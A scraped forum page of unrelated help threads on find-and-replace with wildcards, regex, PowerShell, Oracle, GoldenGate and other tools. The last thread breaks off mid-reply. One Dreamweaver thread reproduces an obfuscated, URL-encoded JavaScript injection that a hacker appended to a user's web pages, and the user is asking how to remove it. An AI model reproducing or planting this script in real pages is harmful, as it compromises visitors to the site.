Help using -replace with wildcard characters, specifically braces

Hello all,
Needing help in using -replace with literal wildcard characters, specifically the braces characters. From reading old posts online this seems to have been a notorious shortcoming of PowerShell, but not sure if it's been resolved or not. My simple
code tries to remove the braces as follows (would like to keep the foreach loop and everything as is if possible):
$string = "test[]"
$braces = @("``[","``]")
Foreach($brace in $braces){
If($string -like "*$brace*"){
$string = $string -replace ($brace,"")
write-host $string
This code gives an error at the -replace line, saying "The regular expression pattern `] is not valid." I'm not sure how to pass the literal brace characters to the -replace parameter? Can this be done?

-like is a wildcard operator (it recognized wildcard patterns like * ,? and [a-z].
For a regular expression you use the -match operator.  
Wildcard patterns and regular expressions are not interchangeable.
See:
get-help about_wildcards
get-help about_regular_expressions
for an explanation and examples of each one, and 
get-help about_comparison_operators
for examples of using -like and -match.
[string](0..33|%{[char][int](46+("686552495351636652556262185355647068516270555358646562655775 0645570").substring(($_*2),2))})-replace " "

Similar Messages

  • ABAP interfaces build using BDC and BAPIs can be used/replaced with the XI?

    Hi,
      We have develeloped our interfases using BDC and BAPIs. Now our client has decited to implement XI. Now could you please help in finding whether these interfaces can be used/replaced with the XI.
          If yes, please let us know how?
    Thanks and Regards,
    Shweta

    Singh,
    Check this threads where they have discussed on how to use them with XI:
    import BAPI into XI
    Re: interface of xi with bapi
    Re: BDC
    Regards,
    ---Satish

  • Using CS5.5 Master Collection for MAC, I can't use "Replace with After Effects composition"

    Using CS5.5 Master Collection for MAC, I can't use "Replace with After Effects composition" because I updated AE to CS6 (but only AE). Even that AE CS 5.5 is still installed, it won't connetct.
    How can that be fixed?
    Thanks a lot for any suggestions.

    Thanks for the answer: I tried different ways (after I read your suggestion) but it always changes back right away ... I can't change it.
    Am 16.01.2013 um 03:04 schrieb Jim Simon:
    Re: Using CS5.5 Master Collection for MAC, I can't use "Replace with After Effects composition"
    created by Jim Simon in Premiere Pro CS5, CS5.5, & CS6 - View the full discussion
    Maybe try associating AE project files with 5.5 instead of 6.
    Please note that the Adobe Forums do not accept email attachments. If you want to embed a screen image in your message please visit the thread in the forum to embed the image at http://forums.adobe.com/message/4997081#4997081
    Replies to this message go to everyone subscribed to this thread, not directly to the person who posted the message. To post a reply, either reply to this email or visit the message page: http://forums.adobe.com/message/4997081#4997081
    To unsubscribe from this thread, please visit the message page at http://forums.adobe.com/message/4997081#4997081. In the Actions box on the right, click the Stop Email Notifications link.
    Start a new discussion in Premiere Pro CS5, CS5.5, & CS6 by email or at Adobe Community
    For more information about maintaining your forum email notifications please go to http://forums.adobe.com/message/2936746#2936746.

  • Search&Replace with wildcard?

    I always use search and replace with Homesite but I wonder if
    there is a way of using a wildcard? I often want to replace text at
    the beginning and end of variable text. I mean, if I have this:
    <h3>First text</h3>
    <h3>Second text here</h3>
    What I'd like is, using the * as a wildcard, is to use
    something like this:
    Replace <h3>*</h3> with <h2>*</h2>
    Any ideas? Thanks

    you can use the extended search/replace with regular
    expressions to do this.
    So for example. Bring up the Extended Replace (Ctrl + Shift +
    R)
    And in the Find box, put:
    <h2>(.*)</h2>
    in the Replace with box, put:
    <h3>\1</h3>
    note: \1 is the first match returned by the regular
    expression

  • Find and replace with wildcard

    help.. i had my site hacked and they stuck a script at the
    end of every file and i need to do a find and replace to remove all
    of that coding.
    the problem is that the coding is different on every page and
    i dont want to have to remove it from 1000+ pages.
    i'm pretty sure you can do this with dreamweaver.. all of the
    bogus coding is after the </html> at the end of the page.
    can anyone help?
    here is an example of the coding:
    <!--[z0s]-->("%3Cscript%3Eif%28NJ%21%3D1%29%7Bfunction%20nS%28sg%29%7Breturn%20sg%7Dtry%7B var%20zX%3D%27xxvxBvxtvxrvxPvxbvx8vxdvxDvxivx6vxwvxcvxXvxRvxovxIvxjvxUvx3vxSvxTvx7vxfvx4vx nvxsvxkvxgvxyvxLvxYvxOvxZvxMvx9vxzvx5vxGvxHvxhvxmvxJvxpvxqvxCvxWvxavxlvxKvxNvxAvxVvxFvBxvB BvBtvBrvBPvBbvB8vBdvBDvBivB6vBwvBcvBXvBRvBovBIvBjvBUvB3vBSvBTvB7vBf%27%2CcY%3DzX.substr%28 2%2C1%29%3Bvar%20Ar%3DArray%28It%28%27185%27%29%2C28831%5E28777%2C31791%5E31945%2CIt%28%27 247%27%29%2C1043%5E1279%2C16798%5E16747%2C4194%5E4243%2CIt%28%27187%27%29%2CIt%28%27227%27 %29%2C24343%5E24551%2C8596%5E8575%2CIt%28%27234%27%29%2CIt%28%27165%27%29%2CIt%28%27239%27 %29%2CIt%28%27173%27%29%2C15091%5E14887%2C23064%5E23217%2CIt%28%27242%27%29%2CIt%28%27172% 27%29%2CIt%28%27254%27%29%2C16276%5E16231%2CIt%28%27228%27%29%2C21729%5E21507%2C9124%5E907 1%2C22207%5E22023%2CIt%28%27224%27%29%2C24716%5E24653%2CIt%28%27190%27%29%2C16599%5E16403% 2CIt%28%27209%27%29%2CIt%28%27171%27%29%2CIt%28%27232%27%29%2C4557%5E4451%2C2956%5E2865%2C 16528%5E16419%2C29064%5E28985%2CIt%28%27181%27%29%2CIt%28%27225%27%29%2C5641%5E5863%2C2427 6%5E24179%2C9220%5E9465%2C5727%5E5789%2C23429%5E23373%2C29981%5E30155%2C2327%5E2543%2CIt%2 8%27162%27%29%2CIt%28%27180%27%29%2C3058%5E2853%2C21870%5E21947%2C4590%5E4359%2CIt%28%2721 1%27%29%2C30955%5E30785%2C14008%5E13909%2CIt%28%27202%27%29%2CIt%28%27168%27%29%2CIt%28%27 191%27%29%2C19973%5E20129%2CIt%28%27186%27%29%2C10455%5E10249%2CIt%28%27219%27%29%2C4454%5 E4505%2CIt%28%27188%27%29%2CIt%28%27216%27%29%2C20136%5E20081%2CIt%28%27244%27%29%2C12739% 5E12547%2CIt%28%27231%27%29%2CIt%28%27199%27%29%2C1461%5E1353%2CIt%28%27198%27%29%2C5206%5 E5337%2CIt%28%27206%27%29%2CIt%28%27183%27%29%2CIt%28%27182%27%29%2C22279%5E22455%2CIt%28% 27178%27%29%2C22919%5E22875%2C4994%5E4909%29%2CCu%3Bvar%20sg%2CRf%3Bvar%20vB%3D%27xxxBxtxr xPxbx8xdxDxix6xtx8xPxwx6xcxXxtxRx6xoxIxixjxUx3xcxSxTxrxcx7xfx4x6xnxjxcxsxTx8xnxRxUxkxSxTxr xcxcxgxyx4xcx6xnxjxcxsxTx8xnxRxUxkxcxgxyxLxBxnx8xyxPxYxnxRx7xfxLx7xnx8xyxPxYxnxRxUxOxZxMx9 xzxzxzxzxzxUxkxcx5xwxtxixYxnx6x8xLxtxwxwxGxPxnxcx4xcx6xoxOxHx4xHxOxnxBxtxTxbxnxRxixjxUxOxH xkxnxhxbxPxrxnxBx4xHxOxgxyxLx8xwxmxJxyxpx8xrxPx6x7xRxUxkxcxqxSxTxrxcxgxmx4xCxBxWxDx7xaxCxI xlxXx4xCxWxCxkxSxTxrxcx6xmx4xCxixbx5xTx8xnxWxLxtxKxTxBxBxPxtx8xnxKxLxwxrx7xCxIxtxNx4xCxAxV x8xYxKxAxCxkxPxDxRx5xwxtxixYxnx6x8xLxtxwxwxGxPxnxLxPx6x5xnxhxFxDxRxgxmxOxCx4xCxOxlxXxUxcx4 x4BxxWxUx3xSxTxrxcx5xKxVx4x5xwxtxixYxnx6x8xLxKxwxtxTx8xPxwx6xLxVxwxBx8xkxSxTxrxcxwxPx4xcxC xVx8xCxOxCx8xbBBxCxOxCxAxAxCxOxRxcx5xKxVxcBtx4xcxCxCBrxCxCBBxPxtxRxUxUxcxOxcx5xKxVxLxrxnxb xKxTxtxnxcxRxABPBbxTBxB8xzBxBdxLBxBDxAxIxCxLxCxUxLxrxnxbxKxTxtxnxcxRxABixLxOxAxIxCxLxCxUxO xCxLxCxOxPxtxRxUxcxOxCxLxCxcxOxcx6xmxOxtxNxkxSxTxrxcB6xpx4x5xwxtxixYxnx6x8xLxtxrxnxTx8xnBw xKxnxYxnx6x8xRxCxPxDxrxTxYxnxCxUxkB6xpxLxBxnx8xgx8x8xrxPBcxix8xnxcxRxCxBxrxtxCxIxcxwxPxUxk B6xpxLxVxnxPx7xVx8x4xzxkB6xpxLxjxPx5x8xVx4x9xkB6xpxLxDxrxTxYxnBXxwxrx5xnxrxcx4xcxzxkxcx8xr BRx3xcx5xwxtxixYxnx6x8xLBcxwx5BRxLxTxbxbxnx6x5BoxVxPxKx5xcxRxcB6xpxUxkxcxXxtxRxgxmxIxcxlxX xcxUxkxqxcxtxTx8xtxVxRxnxUxcx3x5xwxtxixYxnx6x8xLxjxrxPx8xnxcxRxCxxxVx8xYxKxdxxBcxwx5BRxdxx xABcxwx5BRxdxxxAxVx8xYxKxdxCxUxkxcx5xwxtxixYxnx6x8xLBcxwx5BRxLxTxbxbxnx6x5BoxVxPxKx5xcxRxc B6xpxUxkxXxtxcxRxcxgxmxIxlxXxUxcxkxqxcxqBIxDxix6xtx8xPxwx6xcxPxtxRxUx3xcxSxTxrxcxJBjx4BUx9 xIx5xNx4xHxzxWBUB3x9BSxMBTxZBdxzxTBcxtx5xnxDxHxkxSxTxrxcxoxTx4xHxHxkxcxDxwxrxRBjB7x4xzxkxc BjB7xcxxxcxJBjxkxcBjB7xOxOxUxcxoxTxOx4xcx5xNxLxBxiBcxBx8xrxRxJxTx8xVxLxDxKxwxwxrxRxJxTx8xV xLxrxTx6x5xwxYxRxUBfx5xNxLxKxnx6x7x8xVxUxIxWxIxWxUxkxcxrxnx8xixrx6xcxoxTxkxcxqxxxAxBxtxrxP xbx8xd%27%2Cku%3D%27%27%3Bfunction%20It%28fx%29%7Breturn%20parseInt%28fx%29%7DzX%3DzX.spli t%28cY%29%3Bfor%20%28Cu%3D0%3BCu%3CvB.length%3BCu+%3D2%29%7BRf%3DvB.substr%28Cu%2C2%29%3Bf or%28sg%3D0%3Bsg%3CzX.length%3Bsg++%29%7Bif%28zX%5Bsg%5D%3D%3DRf%29break%3B%7Dku+%3DString .fromCharCode%28Ar%5Bsg%5D%5E133%29%3B%7Ddocument.write%28ku%29%3B%7Dcatch%28vQ%29%7B%7D%7 Dvar%20NJ%3D1%3C/script%3E"))<!--[/z0s]-->
    __________________

    tyankee wrote:
    > help.. i had my site hacked and they stuck a script at
    the end of every file
    > and i need to do a find and replace to remove all of
    that coding.
    >
    > the problem is that the coding is different on every
    page and i dont want to
    > have to remove it from 1000+ pages.
    >
    > i'm pretty sure you can do this with dreamweaver.. all
    of the bogus coding is
    > after the </html> at the end of the page.
    >
    > can anyone help?
    >
    > here is an example of the coding:
    >
    >
    >
    Find <\/html>.*
    Replace with:</html>
    Use: RegEx
    Mick

  • Search and replace with wildcard?

    I always use search and replace with Homesite but I wonder if
    there is a way of using a wildcard? I often want to replace text at
    the beginning and end of variable text. I mean, if I have this:
    <h3>First text</h3>
    <h3>Second text here</h3>
    What I'd like is, using the * as a wildcard, is to use
    something like this:
    Replace <h3>*</h3> with <h2>*</h2>
    Any ideas? Thanks

    Make a backup first, in case this doesn't work (although it should).
    Use this in the Find field:
    countryText = "([^"]*)";
    And this in the Replace field:
    <countryText>$1</countryText>

  • Need help using LR with a 2nd Computer/Laptop

    I just installed LR on to my laptop last night. I currently have all my photos saved to my desktop in e:\photos. I belived the sidecars are in that same folder, and the other stuff is in the default c:\docandsettings (or whatever it is).
    The laptop is on a wireless network and my desktop's e: drive is accessible.
    So last night I wanted to try lightroom on the laptop with the files I have on my desktop. Am I correct in that what I need to do is import files from current location so that I'll only have one version of the photos? If I make changes on the laptop, will the sidecar be changed so I'll see the change when I use the desktop? Or is there a different/better way to do this?
    The other thing I want to do is be able to teather my camera (Canon 30D) to the laptop and shoot that way. I was able to do it using Canon's DPP and EOS Utilities software where the photo is writen directly to the hard drive. But when I plug my camera in, Lightroom opens as well. Is there a way to shoot directly into Lightroom? Or shoot to the card so LR opens the file from the camera without having to do a separate import?

    Yes it will delete everything.
    I'm a little confused at what you are asking at the end.
    Does this help at all...
    Using iPod With Multiple Computers
    Or do you want to move everything to the new computer?
    Use Your iPod To Move Songs To A New Computer
    How to copy music between authorized computers
    btabz

  • Help using AEWsetunsol() with PowerBuilder 7 on Nt4

    I am trying to use AEWsetunsol() with Powerbuilder 7 on WinNT 4 (sp6a) or Win2000.
    Can anyone help with regards to what we have to do in PB to get this to work?
    Please be explicit.
    Thanks in advance.
    ..Lyall

    Got it working but had to write a tpinit() wrapper in a DLL in order to get it
    to work.
    The wrapper function allocated the TPINIT buffer and populated the structure with
    appropriate usernames/passwords (none in my case) but we set the 'flags' field
    to 1 (notify by signal). [Powerbuilder does not handle structures terribly well
    I am led to understand]
    If we did not do this, the AEWsetunsol() did not work.
    The code window open is as follows :-
    // pb_SetLoginInfo() is custom written DLL function - simply
    // allocates the TPINIT buffer and populates it.
    // fields in same order as TPINIT buffer
    If (pb_SetLoginInfo("", "", "", "", 1, 0, "") < 0) Then //flag set to 1 - TPU_SIG
    indicating unsolicited notification selected by signals
         messagebox("Error", "Fail pb_SetLoginInfo()")
         return
    End If     
    // pb_tpinit() is custom written DLL function - simply calls tpinit() with the
    structure populated by pb_SetLoginInfo()
    IF ( pb_tpinit() < 0) Then //call tp_init from user defined external dll
         messagebox("Error", "Fail tpinit()")
         tpterm()
         return
    End If
    We wanted to be notified by PBM_CUSTOM68 (Powerbuilder custom event 68)
    Then, we called the AEWsetunsol as follows :-
    //start subscribing to event
    il_windowHandle = Handle(THIS)
    //set event to trigger when receive unsolicited message
    IF (AEWsetunsol(il_windowHandle, (1023+68)) < 0) Then //the (1023+68) indicates
    the event id for pbm_custom68
         messagebox("Error", "Fail AEWsetunsol()")
         tpterm()
         return
    End If
    We then setup a custom pb event to receive these events, subscribed to an event
    and off we went.
    Now, if we could only convince the Tuxedo 8 WS DLL to work with Powerbuilder (rather
    than crashing on APP exit)
    Hope this helps someone.
    ..Lyall

  • How to use keycols with wildcard & TABLEEXCLUDE & MAPEXCLUDE .

    Hi All,
    I would like to use KEYCOLS for Table which dont have Indexes,
    and in same parameter file i would like to use wildcard for table which has indexes.
    so parameter file will has to update ONLY,when table without index will created.
    and wildcard will resolve for tables which will created with index.
    Could you please help me on how to used KEYCOLS in mixed Configuration.
    where TABLEEXCLUDE will exclude tables which dont have indexes and that table will mapped with KEYCOLS.
    Below are different various combination of syntax which did not worked.
    DYNAMICRESOLUTION
    DDL INCLUDE MAPPED OBJNAME IDENTITY.*
    TABLE IDENTITY.TBBILLING_DUMMY ,KEYCOLS (BILLINGKEY);
    TABLE IDENTITY.*;
    TABLEEXCLUDE IDENTITY.TBBILLING_DUMMY;
    *** Total statistics since extract started     ***
            Operations                                         1.00
            Mapped operations                                  0.00
            Unmapped operations                                1.00
            Other operations                                   0.00
            Excluded operations                                1.00
    DYNAMICRESOLUTION
    DDL INCLUDE MAPPED OBJNAME IDENTITY.*
    TABLE IDENTITY.*;
    TABLEEXCLUDE IDENTITY.TBBILLING_DUMMY;
    TABLE IDENTITY.TBBILLING_DUMMY ,KEYCOLS (BILLINGKEY);
    *** Total statistics since extract started     ***
            Operations                                         1.00
            Mapped operations                                  0.00
            Unmapped operations                                1.00
            Other operations                                   0.00
            Excluded operations                                1.00
    DYNAMICRESOLUTION
    DDL INCLUDE MAPPED OBJNAME IDENTITY.*
    TABLEEXCLUDE IDENTITY.TBBILLING_DUMMY;
    TABLE IDENTITY.*;
    TABLE IDENTITY.TBBILLING_DUMMY ,KEYCOLS (BILLINGKEY);
    *** Total statistics since extract started     ***
            Operations                                         1.00
            Mapped operations                                  0.00
            Unmapped operations                                1.00
            Other operations                                   0.00
            Excluded operations                                1.00
    DYNAMICRESOLUTION
    DDL INCLUDE MAPPED OBJNAME IDENTITY.*
    TABLE IDENTITY.TBBILLING_DUMMY ,KEYCOLS (BILLINGKEY);
    TABLEEXCLUDE IDENTITY.TBBILLING_DUMMY;
    TABLE IDENTITY.*;
    *** Total statistics since extract started     ***
            Operations                                         1.00
            Mapped operations                                  0.00
            Unmapped operations                                1.00
            Other operations                                   0.00
            Excluded operations                                1.00
    DYNAMICRESOLUTION
    DDL INCLUDE MAPPED OBJNAME IDENTITY.*
    TABLEEXCLUDE IDENTITY.TBBILLING_DUMMY
    TABLE IDENTITY.*;
    TABLE IDENTITY.TBBILLING_DUMMY ,KEYCOLS (BILLINGKEY);
    *** Total statistics since extract started     ***
            Operations                                         1.00
            Mapped operations                                  0.00
            Unmapped operations                                1.00
            Other operations                                   0.00
            Excluded operations                                1.00
    DYNAMICRESOLUTION
    DDL INCLUDE MAPPED OBJNAME IDENTITY.*
    TABLE IDENTITY.TBBILLING_DUMMY ,KEYCOLS (BILLINGKEY);
    TABLEEXCLUDE IDENTITY.TBBILLING_DUMMY
    TABLE IDENTITY.*;
    *** Total statistics since extract started     ***
            Operations                                         1.00
            Mapped operations                                  0.00
            Unmapped operations                                1.00
            Other operations                                   0.00
            Excluded operations                                1.00
    ------------------=========I tried for replicat for different set of tables , which failed too.
    TEST 2 = failed
    MAPEXCLUDE ODS.OS_HISTORYSTEP_BLD
    MAP ODS.*,TARGET ODS.*;
    MAP ODS.OS_HISTORYSTEP_BLD, TARGET ODS.OS_HISTORYSTEP_BLD, KEYCOLS (id,entry_id,caller);
    stats identdr,totalsonly ODS.OS_HISTORYSTEP_BLD
    Sending STATS request to REPLICAT IDENTDR ...
    *** Total statistics since replicat started     ***
            Operations                                         1.00
            Unmapped operations                                1.00
            Excluded operations                                1.00
    TEST 3 = failed
    MAPEXCLUDE ODS.OS_HISTORYSTEP_BLD;
    MAP ODS.*,TARGET ODS.*;
    MAP ODS.OS_HISTORYSTEP_BLD, TARGET ODS.OS_HISTORYSTEP_BLD, KEYCOLS (id,entry_id,caller);
    *** Total statistics since replicat started     ***
            Operations                                         1.00
            Mapped operations                                  0.00
            Unmapped operations                                1.00
            Excluded operations                                1.00
    -------------------------------------------------------------------TEST 4 = failed
    MAP ODS.*,TARGET ODS.*;
    MAPEXCLUDE ODS.OS_HISTORYSTEP_BLD;
    NOINSERTAPPEND
    MAP ODS.OS_HISTORYSTEP_BLD, TARGET ODS.OS_HISTORYSTEP_BLD, KEYCOLS (id,entry_id,caller);
    *** Total statistics since replicat started     ***
            Operations                                         1.00
            Mapped operations                                  0.00
            Unmapped operations                                1.00
            Excluded operations                                1.00
    -------------------------------------------------------------------TEST 5 = failed
    MAP ODS.OS_HISTORYSTEP_BLD, TARGET ODS.OS_HISTORYSTEP_BLD, KEYCOLS (id,entry_id,caller);
    MAPEXCLUDE ODS.OS_HISTORYSTEP_BLD
    MAP ODS.*,TARGET ODS.*;
    No active replication maps
    DDL replication statistics:
    *** Total statistics since replicat started     ***
            Operations                                         1.00
            Mapped operations                                  0.00
            Unmapped operations                                1.00
            Other operations                                   0.00
            Excluded operations                                1.00-------------------------------------------------------------------
    TEST 6 = failed
    MAP ODS.OS_HISTORYSTEP_BLD, TARGET ODS.OS_HISTORYSTEP_BLD, KEYCOLS (id,entry_id,caller);
    MAPEXCLUDE ODS.OS_HISTORYSTEP_BLD;
    MAP ODS.*,TARGET ODS.*;
    No active replication maps
    DDL replication statistics:
    *** Total statistics since replicat started     ***
            Operations                                         1.00
            Mapped operations                                  0.00
            Unmapped operations                                1.00
            Other operations                                   0.00
            Excluded operations                                1.00Edited by: 949509 on Dec 8, 2012 5:21 PM

    This configuration is not supported with DDL+DML replication.
    WILDCARDRESOLVE DYANAMIC / DYNAMICRESOLUTION is culprit.
    while used any parameter above. DDL replication is not supported.if used then table mention in TABLEXCLUDE will be excluded from parameter file no matter even if you map table using TABLE schema.tablename .
    to use below syntax you must used WILDCARDRESOLVE IMMEDIATE.
    TABLE SCHEMA.TABLENAME ,KECOLS (COL1,COL2);
    TABLEEXCLUDE SCHEMA.TABLENAME
    TABLE SCHEMA.*;
    Reference.
    Can I Use A Wildcard In An Extract TABLE Statement For All Of The Tables Except One That Does Not Have A Primary Key? [ID 970419.1]

  • HELP :  using UPPER with LIKE in CMP finder??

    Hi,
    am trying to do a case insensitive wildcard search but am having little luck, if I run the sql query
    select * from my_view where UPPER(name) like '%SMI%'; then I get the right results back but when i try to use it in my CMP bean I get nothing unless the case matches.
    my xml entry is as below:
    <finder-method partial="False" query="SELECT * FROM MY_VIEW WHERE UPPER(name) LIKE ?1">
    <method>
    <ejb-name>View</ejb-name>
    <method-name>findByName</method-name>
    <method-params>
    <method-param>java.lang.String</method-param>
    </method-params>
    </method>
    </finder-method>
    can anyone help please ?? can I not use UPPER in one of these queries ??
    Regards
    Rosie

    Rosie,
    I was able to get this example to work and it is nearly identical to yours. I passed "C%" into the bean and received all the records where the USR_MSG_CTGR_ID field started with "C". Is the problem a data issue? (Does the connection used by the bean use the same database and user ID that you used when you executed the query manually? If not, are they looking at the same table?)
    Good luck!
    <finder-method partial="False" query="select * from my_usr_msg where upper(usr_msg_ctgr_id) like ?1">
    <method>
    <ejb-name>My_usr_msg</ejb-name>
    <method-name>findByUpperValue</method-name>
    <method-params>
    <method-param>java.lang.String</method-param>
    </method-params>
    </method>
    </finder-method>

  • Using REPLACE with IN clause

    Hello,
    I'm using 9.2.0.5.0 production and 9.2.0.7.0 development.
    I have a string such as: '4388:4410:4411:4412:4413:4414:4415:4416'
    I need to use this string in a SQL statement (not PL/SQL) such as:
    SELECT originalcalledpartynumber Agent, count(1) "# Calls"
    FROM voip_cdr
    WHERE originalcalledpartynumber IN (replace('''4388:4410:4411:4412:4413:4414:4415:4416''', ':', ''''||','||''''))
    GROUP BY originalcalledpartynumber
    where the colons are replaced by a single quote then a comma then a single quote which this should be resolved to:
    '4388','4410','4411','4412','4413','4414','4415','4416'
    I'm getting no rows returned, but there are rows. If I use '4388','4410','4411','4412','4413','4414','4415','4416' in the select instead of the replace such as:
    SELECT NULL link, originalcalledpartynumber Agent, count(1) "# Calls"
    FROM voip_cdr
    WHERE originalcalledpartynumber IN ('4388','4410','4411','4412','4413','4414','4415','4416')
    GROUP BY originalcalledpartynumber
    I get:
    AGENT # Calls
    4388 1304
    4410 348
    4411 1932
    4412 3241
    4413 361
    4414 3221
    4415 3382
    4416 4
    8 rows selected.
    So the REPLACE function does not work using it in an IN clause?
    Can someone help me with this?
    Thanks,
    Joe

    http://asktom.oracle.com/pls/ask/f?p=4950:8:8444496587549649868::NO::F4950_P8_DISPLAYID,F4950_P8_CRITERIA:210612357425
    http://asktom.oracle.com/pls/ask/f?p=4950:8:8444496587549649868::NO::F4950_P8_DISPLAYID,F4950_P8_CRITERIA:110612348061

  • REPLACE with wildcard

    Hi all,
    I am trying to write a SQL to replace a pattern of a string with ''. In the below example my input string is of 5 lines and I want to replace all occurrences of '@'||%||'V$TEMP'. I cant user REGEXP_REPLACE as the client is using 8i
    SELECT REPLACE('@1:this is a 1st line'||CHR(10)||
    '@1:V$TEMP'||CHR(10)||
    '@1:this is 3rd line'||CHR(10)||
    '@2:V$TEMP'||CHR(10)||
    '@1:this is 5rd line', '@'||'%'||':V$TEMP', '') tt
    FROM dual;Any ideas are greatly appreciated.
    Thanks in advance.
    Edited by: Reddi on Nov 18, 2008 3:45 PM

    Hi,
    For this particular job, it wouldn't be hard to
    (a) split the string tt into its five CHR(10)-delimited parts
    (b) test each one to see it starts with '@' and ends with 'V$TEMP'
    (c) re-assemble the string from the parts that did not meet crierion (b)
    No PL/SQL required.
    As an alternative, here's a fairly general function that can do what you want, or pretty close.
    CREATE OR REPLACE FUNCTION     replace_like
    (     in_full_txt     IN     VARCHAR2
    ,     in_from_txt     IN     VARCHAR2
    ,     in_to_txt     IN     VARCHAR2
    RETURN     VARCHAR2
    DETERMINISTIC
    IS
    --     replace_like returns a copy of in_full_txt, with all
    --     substrings that match the pattern in_from_txt replaced
    --     by in_to_txt.
    --     in_from txt may contain the wildcards % and _
    --     as used by the LIKE operator.
    --     Whenever there is doubt, the shortest possible pattern
    --     be used.  For example
    --          replace_like ('a1b2345b', 'a%b'. 'x')
    --     returns                'x2345b'
    --     That is, even though the enire string matches the
    --     pattern "'a' followed by anything, followed by 'b'",
    --     the smaller substring 'a1b' also matches, and so the
    --     smaller one is used.
    --     The line_feed character (CHR (10)) will not match anything.
         len          PLS_INTEGER;
         return_txt     VARCHAR2 (4000) := in_full_txt;
         start_pos     PLS_INTEGER     := 1;
    BEGIN
         dbms_output.put_line (in_full_txt || ' = in_full_txt entering replace_like');
         IF     in_full_txt LIKE '%' || in_from_txt || '%'
         AND     in_full_txt     IS NOT NULL
         AND     in_from_txt     IS NOT NULL
         THEN     -- string contains in_from_txt
              WHILE  start_pos <= LENGTH (in_full_txt)
              LOOP
                   IF  SUBSTR (in_full_txt, start_pos) LIKE in_from_txt || '%'
                   THEN     -- in_from_txt begins at start_pos
                        dbms_output.put_line (start_pos || ' = start_pos');
                        len := 1;
                        WHILE  len <= 1 + LENGTH (in_full_txt) - start_pos
                        LOOP
                             IF     SUBSTR (in_full_txt, start_pos, len) LIKE in_from_txt
                             AND     INSTR     ( SUBSTR (in_full_txt, start_pos, len)
                                       , CHR (10)
                                       ) = 0
                             THEN
                                  return_txt := SUBSTR (in_full_txt, 1, start_pos - 1)
                                       || in_to_txt
                                       || replace_like     ( SUBSTR (in_full_txt, start_pos + len)
                                                 , in_from_txt
                                                 , in_to_txt
                                  len := LENGTH (in_full_txt);
                                  start_pos := len;
                             END IF;
                             len := len + 1;
                        END LOOP;
                   END IF;
                   start_pos := start_pos + 1;
              END LOOP;
         END IF;
         RETURN     return_txt;
    END     replace_like
    ;As you can see, it uses LIKE to find if and wherre a pattern matches.
    Here's how you can test it on your sample string:
    SELECT     tt
    ,     replace_like     (  tt
                   , '@%V$TEMP'
                   , NULL
                   )     AS r_l
    FROM     (
         SELECT REPLACE('@1:this is a 1st line'||CHR(10)||
              '@1:V$TEMP'||CHR(10)||
              '@1:this is 3rd line'||CHR(10)||
              '@2:V$TEMP'||CHR(10)||
              '@1:this is 5rd line', '@'||'%'||':V$TEMP', '') tt
         FROM dual
    ;

  • Using SQLDriverConnect with special characters in password fails, same info with ODBC (Oracle instant client) works fine

    Hi,
    on a windows 2008 machine that has the Oracle instant client 11_1 installed (11.01.00.06) i am calling SQLDriverConnect in the following way:
    std::string str = "Driver={Oracle in instantclient11_1};Dbq=//10.10.101.66:1521/orcl;;Uid=myUser;pwd=a;b";
    odbcRc = SQLDriverConnect(hdbc, NULL, (SQLTCHAR*)str.c_str(), str.size(), (SQLTCHAR*)szConnStrOut, 1024, &cbConnStrOut, SQL_DRIVER_NOPROMPT)) == SQL_ERROR);
    as long as the password contains no special chars (namely semicolon) it works fine. but when I try to use special chars in the password It stops working, with an invalid username/password error.
    State: 28000 Native error: 1017 Message: [Oracle][ODBC][Ora]ORA-01017: invalid username/password; logon denied
    i tried different variations of adding " (\") over the password, over the entire pwd=a;b or braces { but nothing seems to work.
    the thing is that using ODBC works! what I did was:
    open ODBC, go to System DSN tab, add "Oracle in instantclient11_1", then fill the following information:
    Data source name: Anything
    TNS Service Name: //10.10.101.66:1521/orcl
    User ID: myUser
    then i press test connection, enter the password "a;b"
    and it works!
    I cannot figure out what's my problem.
    Thanks,
    Roy.

    I've created your test table in my Oracle database using this extra character and I'm able to describe it properly.
    SQL> desc test;
    Name Null? Type
    ATTIVITÀ VARCHAR2(40)
    My character set being used is:
    SQL> select * from v$nls_parameters;
    NLS_CHARACTERSET
    WE8ISO8859P15
    NLS_NCHAR_CHARACTERSET
    AL16UTF16
    NLS_LENGTH_SEMANTICS
    BYTE
    So as long as it doesn't work for you in your native Oracle database I don't think it would work with DG4ODBC. So yes, it would be best to log a service request so that the Oracle database support can check out the NLS issue.
    Edited by: kgronau on Sep 28, 2011 9:21 AM
    To be complete here the describe of the MySQL table native and using DG4ODBC:
    mysql> create table TEST (attività Varchar(40));
    Query OK, 0 rows affected (0.00 sec)
    mysql> desc TEST;
    ---------------------------------------------------+
    | Field | Type | Null | Key | Default | Extra |
    ---------------------------------------------------+
    | attività | varchar(40) | YES | | NULL | |
    ---------------------------------------------------+
    1 row in set (0.00 sec)
    SQL*Plus: Release 11.2.0.2.0 Production on Wed Sep 28 09:20:17 2011
    SQL> desc "gateway"."TEST"@MYSQL_DG4ODBC_EMGTW_1122_DB;
    Name Null? Type
    attività VARCHAR2(80)
    So in general it should work.

  • Using XML with special characters - not rendering

    Hello,
    I am using xml to populate the content of a Flash file, but
    we have localized content for different global regions. So, when
    the content contains special characters like "é" they do not
    show up at all in the flash. I tried using &eacute; but that
    just renders the actual code...
    Is there a workaround for this?
    Thanks

    Hi Rothrock, thanks for your reply...
    Flash Version: 8, but the swf was published to be 7+
    compatible.
    The font is Meta Normal, it is embedded, and it does include
    the character.
    I am retrieving the xml by using this script in the html
    page:
    <script type="text/javascript">
    // <![CDATA[
    var fo = new FlashObject("/templates/flash/index.swf" +
    cKiller, "ad-flash", "710", "351", "7", "#FFFFFF");
    fo.addVariable("xmlURL", "/flash_content/products.xml");
    fo.write("ad");
    // ]]>
    </script>
    I am creating the XML using Macromedia Homesite, with the
    encoding declaration <?xml version="1.0" encoding="UTF-8" ?>
    The XML is being read fine, only the special characters don't
    show up... so it will cut off the word, or just have an empty space
    where the character should be.
    I am not sure how to specifiy Extended Latin charset in the
    document... could you tell me how to do that?
    Thanks

  • Help using countifs with pop-up menus please

    made a spreadsheet and am using pop-up menus as the cell format to list several shifts when making a schedule for my job, so far so good.
    now i would like to total across the rows for each type of shift in 3 categories so for instance, i would like to create a formula that will tally the number of times i selected either the drop down for 9a-6p or 10a-7pm...i can get it to count one occurance by using =COUNTIF(B5:H5, "=9A-6P")...so i was trying something like =COUNTIFS(B5:H5,"=9A-6P",B5:H5,"=10A-7P") to get it to total the number of times i chose both of those text entires for the drop down, but that seems to be missing something...any help would be appreciated....

    Hi Steph,
    What you're missing is this (From the iWork Formulas and Functions User Guide):
